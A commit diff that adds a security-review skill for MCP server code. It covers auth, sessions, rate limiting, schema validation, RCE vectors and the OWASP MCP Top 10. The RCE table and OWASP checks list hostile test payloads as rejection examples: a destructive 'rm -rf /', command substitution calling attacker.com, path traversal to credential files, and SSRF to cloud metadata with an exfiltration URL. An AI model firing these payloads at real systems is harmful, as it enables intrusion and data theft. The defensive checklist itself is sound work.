chore: publish from main

docs/README.skills.md

@@ -238,6 +238,7 @@ See [CONTRIBUTING.md](../CONTRIBUTING.md#adding-skills) for guidelines on how to
 | [mcp-create-declarative-agent](../skills/mcp-create-declarative-agent/SKILL.md)<br />`gh skills install github/awesome-copilot mcp-create-declarative-agent` | Skill converted from mcp-create-declarative-agent.prompt.md | None |
 | [mcp-deploy-manage-agents](../skills/mcp-deploy-manage-agents/SKILL.md)<br />`gh skills install github/awesome-copilot mcp-deploy-manage-agents` | Skill converted from mcp-deploy-manage-agents.prompt.md | None |
 | [mcp-security-audit](../skills/mcp-security-audit/SKILL.md)<br />`gh skills install github/awesome-copilot mcp-security-audit` | Audit MCP (Model Context Protocol) server configurations for security issues. Use this skill when:<br />- Reviewing .mcp.json files for security risks<br />- Checking MCP server args for hardcoded secrets or shell injection patterns<br />- Validating that MCP servers use pinned versions (not @latest)<br />- Detecting unpinned dependencies in MCP server configurations<br />- Auditing which MCP servers a project registers and whether they're on an approved list<br />- Checking for environment variable usage vs. hardcoded credentials in MCP configs<br />- Any request like "is my MCP config secure?", "audit my MCP servers", or "check .mcp.json"<br />keywords: [mcp, security, audit, secrets, shell-injection, supply-chain, governance] | None |
+| [mcp-security-baseline](../skills/mcp-security-baseline/SKILL.md)<br />`gh skills install github/awesome-copilot mcp-security-baseline` | Review MCP (Model Context Protocol) server and client source code against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when:<br />- Reviewing an MCP server implementation for security before release<br />- Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10<br />- Auditing tools for RCE vectors (command/code injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)<br />- Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server<br />- Reviewing MCP client code that handles untrusted server responses and session IDs<br />- Requests like "review this MCP server for security" or "is my MCP server implementation secure?" | None |
 | [md-to-docx](../skills/md-to-docx/SKILL.md)<br />`gh skills install github/awesome-copilot md-to-docx` | Convert Markdown files to professionally formatted Word (.docx) documents with embedded PNG images — pure JavaScript, no external tools required | `scripts/md-to-docx.mjs`<br />`scripts/package.json` |
 | [meeting-minutes](../skills/meeting-minutes/SKILL.md)<br />`gh skills install github/awesome-copilot meeting-minutes` | Generate concise, actionable meeting minutes for internal meetings. Includes metadata, attendees, agenda, decisions, action items (owner + due date), and follow-up steps. | None |
 | [memory-merger](../skills/memory-merger/SKILL.md)<br />`gh skills install github/awesome-copilot memory-merger` | Merges mature lessons from a domain memory file into its instruction file. Syntax: `/memory-merger >domain [scope]` where scope is `global` (default), `user`, `workspace`, or `ws`. | None |

skills/mcp-security-baseline/SKILL.md

@@ -0,0 +1,315 @@
+---
+name: mcp-security-baseline
+description: |
+  Review MCP (Model Context Protocol) server and client source code against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when:
+  - Reviewing an MCP server implementation for security before release
+  - Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10
+  - Auditing tools for RCE vectors (command/code injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)
+  - Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server
+  - Reviewing MCP client code that handles untrusted server responses and session IDs
+  - Requests like "review this MCP server for security" or "is my MCP server implementation secure?"
+---
+
+# MCP Security Baseline Review
+
+## Process
+
+### Step 1 — Classify the target
+- Check **MCP protocol version [2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26) or later** (current: [2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)). Flag older versions as a finding but continue the review.
+- Determine whether the target is a **server** or **client**.
+- Classify transport as **network-exposed** or **local-only** using the transport reference below.
+- Record transport, protocol version, and whether sessions exist.
+
+**Completion criterion:** Target type, protocol status, and transport are identified.
+
+### Step 2 — Filter false positives
+- Apply the **False Positive Filters** before opening findings.
+- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.
+- For framework/SDK repositories, scope findings to the **default configuration** and **public API surface**.
+
+**Completion criterion:** Remaining evidence is in-scope code, repo-owned docs, or public API behavior.
+
+### Step 3 — Check baseline controls
+- For **network-exposed servers**, check **MCP-01** through **MCP-05**.
+- For **local/STDIO servers**, do not mark baseline controls PASS/FAIL; give best-practice notes and continue to RCE review.
+- For **clients**, only review token/session handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.
+
+**Completion criterion:** Each applicable control has a supported status.
+
+### Step 4 — Check RCE vectors
+- Review all 7 RCE vectors.
+- Mark each vector **SAFE**, **AT RISK**, or **N/A**.
+- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.
+
+**Completion criterion:** Every relevant tool has an RCE result or explicit N/A.
+
+### Step 5 — Check OWASP MCP Top 10
+- Evaluate all 10 OWASP risks below.
+- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.
+- For local/STDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N/A.
+- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.
+
+**Completion criterion:** All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.
+
+### Step 6 — Report
+- Use the **Compliance Output Format** below.
+- Include file/line references in every justification.
+- Separate code findings from manual follow-ups.
+- If evidence is incomplete, use **NEEDS INVESTIGATION** and name the missing artifact.
+
+**Completion criterion:** The report includes controls, RCE, optional OWASP, and actions.
+
+## Reference
+
+### Decision rules
+- **Network-exposed server:** Apply **all 5 controls**, then run RCE and requested OWASP checks.
+- **Local/STDIO server:** Give **best-practice guidance only** for the 5 controls; still run RCE because tool input can execute locally.
+- **Client:** Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.
+- **Reverse proxy or container exposure:** If traffic can reach the server over a network, treat it as **network-exposed** even if inner binding is localhost.
+- **Unclear evidence:** Do not guess. Mark **NEEDS INVESTIGATION** and say what must be verified manually.
+- **Ambiguous auth coverage:** Auth middleware exists but it is unclear whether it covers MCP endpoints → mark **NEEDS INVESTIGATION**.
+- **Undeterminable transport:** If transport cannot be established from code, flag for manual review and do **not** assume STDIO — defaulting to STDIO would wrongly skip the server controls.
+
+### Transport classification
+
+**Network-exposed (enforce all controls):**
+
+| Pattern | Transport |
+|---|---|
+| `transport="http"` or `transport="sse"` | HTTP/SSE |
+| `StreamableHttpServerTransport` | HTTP (TS/JS) |
+| `SSEServerTransport` | SSE (TS/JS) |
+| `WithHttpTransport()` | HTTP (C#) |
+| `host="0.0.0.0"` | All-interfaces binding |
+| Express `.listen(port)` with MCP routes | HTTP (default `0.0.0.0`) |
+| `EXPOSE` in Dockerfile + MCP server | Network-exposed |
+
+**Local-only (best practices only):**
+
+| Pattern | Transport |
+|---|---|
+| `StdioServerTransport` | STDIO (TS/JS) |
+| `WithStdioServerTransport()` | STDIO (C#) |
+| `transport="stdio"` | STDIO |
+| `mcp.run()` with no args (Python FastMCP) | STDIO default |
+| `.vscode/mcp.json` with `command` key and no URL | STDIO child process |
+
+**Host binding gotchas:**
+
+| Binding | Actual exposure |
+|---|---|
+| `host="0.0.0.0"` | 🔴 Network-exposed |
+| `host="127.0.0.1"` or `localhost` | 🟢 Local-only |
+| No explicit host (Express/Node) | 🔴 Defaults to `0.0.0.0` |
+| No explicit host (Python FastMCP) | 🟡 Depends on transport — verify |
+| Docker `ports: "8000:8000"` | 🔴 Network-exposed even if the process binds `127.0.0.1` inside the container |
+
+### False Positive Filters
+
+| FP pattern | How to detect |
+|---|---|
+| `.github/skills/` templates | Path contains `.github/skills/` — skill template, not server code |
+| Vendored SDK / OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules/`, `vendor/` |
+| MCP client configs | `.vscode/mcp.json` with `inputs`/`servers` but no server code |
+| Documentation / tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server |
+| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth |
+
+Docs describing the repo's **own** server behavior, transport, auth posture, or deployment are **not** false positives.
+
+## Controls Reference
+
+### MCP-01 — Identity isolation
+**Scope:** Remote MCP servers
+
+**Condition**
+- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.
+- Use a **unique server-specific application identity** and audience/resource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.
+- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth/MCP bootstrapping: `/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`, `/.well-known/openid-configuration`.
+
+**What to check**
+- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.
+- Identity config shows a dedicated application/client/resource ID and audience; outbound clients acquire their own tokens and never copy inbound `Authorization`.
+- Discovery endpoints return metadata only and cannot execute tools or expose protected data.
+
+**Key pitfall:** Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.
+
+### MCP-02 — Sessions
+**Scope:** Remote MCP servers that support sessions
+
+**Applicability**
+- No session identifiers issued or used anywhere → mark **N/A** (per-request auth is still required; see MCP-01).
+- Sessions managed by the transport/SDK (e.g., Streamable HTTP `Mcp-Session-Id`) but generation/binding not visible in source → mark **NEEDS INVESTIGATION**, not FAIL.
+- Session identifiers present in code → score **PASS/FAIL** against the conditions below.
+
+**Condition**
+- Authenticate and authorize **every** request; session state never substitutes for token validation.
+- Session IDs are opaque correlation/continuity tokens only; they do not grant privileges, encode authorization, or bypass auth.
+- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.
+
+**What to check**
+- Middleware validates tokens per request, not only when a session starts.
+- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.
+- Session creation uses random IDs (GUID v4/CSPRNG acceptable; sequential or time-based IDs are not).
+
+**Key pitfall:** Treating a session ID as a bearer credential turns a correlation token into authentication.
+
+### MCP-03 — Rate limits
+**Scope:** MCP servers and tools
+
+**Condition**
+- Enforce rate limits and abuse protection on tool discovery and tool invocation.
+- Enforce limits **at the MCP server runtime**, not only at a gateway; partition by authenticated identity and by session where sessions exist.
+- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with **HTTP 429** and **Retry-After** and do not execute the tool.
+
+**What to check**
+- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.
+- Limits are keyed by identity and session, with tighter budgets for write/high-cost operations.
+- Exceeded requests stop before backend action and return 429 with Retry-After.
+
+**Starting thresholds** (tune to actual load, downstream limits, and cost):
+
+| Tool type | Per-identity | Per-session | Notes |
+|---|---|---|---|
+| Read-only / listing | 100/min | 200/min | Lower if downstream APIs are sensitive |
+| Mutation / write | 10/min | 20/min | Stricter for state-changing ops |
+| High-cost compute | 5/min | 10/min | Cost-weighted; watch cloud spend |
+| Tool discovery | 30/min | 60/min | Prevents enumeration abuse |
+
+**Key pitfall:** Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.
+
+### MCP-04 — Schema validation
+**Scope:** MCP servers exposing tools with structured arguments
+
+**Condition**
+- Validate **all** tool arguments against explicit schemas **before execution**.
+- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (`additionalProperties: false` or equivalent).
+- Validation runs server-side on every invocation; invalid input fails closed with a 400/MCP error and no backend action.
+
+**What to check**
+- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.
+- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.
+- Negative tests reject malformed input, extra properties, and bounds violations.
+
+**Key pitfall:** Allowing extra properties or client-only validation creates hidden attack surface and scope creep.
+
+### MCP-05 — SDK-first
+**Scope:** Remote MCP servers
+
+**Condition**
+- Build remote MCP servers on an **official MCP SDK** for your server's language:
+  - **Tier 1 (fully supported):** TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)
+  - **Tier 2/3 (developing):** Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)
+- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.
+- Keep the SDK current and patched, and verify which controls are automatic versus manual.
+
+**What to check**
+- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP/SSE stack.
+- If no SDK is used, the repo contains direct evidence for auth/authz, sessions, rate limits, and schema validation.
+- Dependency pinning and update hygiene show the SDK is maintained.
+
+**Key pitfall:** Hand-rolled servers often miss one "small" primitive—per-request auth, throttling, or validation—and the gaps compound.
+
+## RCE Vectors
+
+| Vector | Dangerous code | Safe alternative | Test payload | CWE |
+|---|---|---|---|---|
+| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm -rf /`, `$(curl attacker.com)`, `| net user` must be rejected or treated literally | CWE-78 |
+| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected | CWE-94, CWE-95 |
+| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |
+| Path traversal | `fs.readFile(args.path)` without validation, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read/write/execute | `../../../../etc/passwd`, `C:\Windows\System32\config\SAM`, `..\..\..\.env` must be rejected | CWE-22 |
+| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49` | CWE-1336 |
+| Dependency hijacking | Unpinned deps such as `"lodash": "^4.0.0"`; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted/scoped registries, verify signatures where available | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review for CVEs and suspicious packages | CWE-829 |
+| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending | `http://169.254.169.254/latest/meta-data/`, `http://localhost:8080/admin`, `http://attacker.com/?data=stolen` must be rejected | CWE-918 |
+
+## OWASP MCP Top 10
+
+**MCP01:2025 — Token Mismanagement & Secret Exposure**
+Test: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived/rotated tokens.
+Pass: No hardcoded secrets, sensitive fields redacted, short-lived/rotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.
+
+**MCP02:2025 — Privilege Escalation via Scope Creep**
+Test: Review scopes/roles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.
+Pass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.
+
+**MCP03:2025 — Tool Poisoning**
+Test: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.
+Pass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.
+
+**MCP04:2025 — Supply Chain Attacks & Dependency Tampering**
+Test: Check for lock files, exact pinning, suspicious `postinstall` scripts, dependency audit results, and trusted registries.
+Pass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.
+
+**MCP05:2025 — Command Injection & Execution**
+Test: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test `; ls`, `$(whoami)`, `| cat /etc/passwd`.
+Pass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, `shell=True` with formatted strings, or unsafe concatenation.
+
+**MCP06:2025 — Prompt Injection via Contextual Payloads**
+Test: Check whether tool output goes back to the LLM, whether external content is sanitized/truncated/sandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.
+Pass: Tool outputs are data, untrusted content is sanitized/truncated/sandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.
+
+**MCP07:2025 — Insufficient Authentication & Authorization**
+Test: Send requests without auth and with expired/invalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.
+Pass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.
+
+**MCP08:2025 — Lack of Audit and Telemetry**
+Test: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.
+Pass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.
+
+**MCP09:2025 — Shadow MCP Servers**
+Test: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev/staging isolation; verify an owner and review trail.
+Pass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev/test exposure into production networks, or no ownership.
+
+**MCP10:2025 — Context Injection & Over-Sharing**
+Test: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.
+Pass: Minimal data is returned, sensitive fields are masked/excluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.
+
+## Compliance Output Format
+
+In every summary table below, the **Justification** cell must cite specific file/line evidence for the status.
+
+### Control summary
+
+| Control | Name | Status | Justification |
+|---|---|---|---|
+| MCP-01 | Auth & Identity isolation | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A | … |
+| MCP-02 | Secure Session Management | … | … |
+| MCP-03 | Rate limiting & abuse protection | … | … |
+| MCP-04 | Input schema validation | … | … |
+| MCP-05 | Production SDK usage | … | … |
+
+Use **PASS** only when the code clearly satisfies the control. Use **FAIL** when the violation is observable. Use **NEEDS INVESTIGATION** when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.
+
+### RCE summary
+
+| Vector | Status | Justification |
+|---|---|---|
+| Command injection | SAFE / AT RISK / N/A | … |
+| Dynamic code evaluation | … | … |
+| Unsafe deserialization | … | … |
+| Path traversal | … | … |
+| SSTI | … | … |
+| Dependency hijacking | … | … |
+| SSRF | … | … |
+
+### OWASP summary
+
+| Risk | Status | Justification |
+|---|---|---|
+| MCP01:2025 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION | … |
+| MCP02:2025 | … | … |
+| MCP03:2025 | … | … |
+| MCP04:2025 | … | … |
+| MCP05:2025 | … | … |
+| MCP06:2025 | … | … |
+| MCP07:2025 | … | … |
+| MCP08:2025 | … | … |
+| MCP09:2025 | … | … |
+| MCP10:2025 | … | … |
+
+### Manual follow-ups
+List every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.
+
+## Exception process
+- **Document the gap:** Identify the unmet control, the exact deviation, residual risk, and any compensating controls.
+- **Get explicit approval:** Route the exception through security/release approval with an owner and an expiration or review date.
+- **Track and re-evaluate:** Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.